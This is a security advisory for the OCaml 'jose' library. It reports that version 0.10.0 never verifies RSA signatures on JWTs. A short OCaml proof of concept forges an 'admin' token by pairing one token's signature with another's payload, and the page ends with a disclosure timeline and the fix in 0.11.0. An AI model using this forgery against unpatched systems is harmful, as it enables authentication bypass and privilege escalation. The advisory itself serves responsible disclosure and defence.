Threats tagged 'osec-2026-19'

The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key. ## Reproduction With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature: ```OCaml let () = Mirage_crypto_rng_unix.use_default () let key = Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ()) let sign sub = Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ]) |> Result.get_ok |> Jose.Jwt.to<http://jose.jwt.to/>_string let seg n token = List.nth (String.split_on_char '.' token) n let alice = sign "alice" and admin = sign "admin" (* alice's header and signature, admin's payload *) let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ] match Jose.Jwt.unsafe_of_string forged |> Result.get_ok |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ()) with | Ok t -> print_endline ("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub")) | Error _ -> print_endline "rejected" ``` The dune file: ``` (executable (name repro) (libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os)) ``` This prints "accepted, sub = admin". ## Workaround There is no workaround known. ## Timeline - 2026-08-25: private report via email to the authors of jose - 2026-08-25: fix published to repository - 2026-08-31: mail escalated to security@ocaml.org - 2026-09-04: released jose 0.11.0 - 2026-09-10: published advisory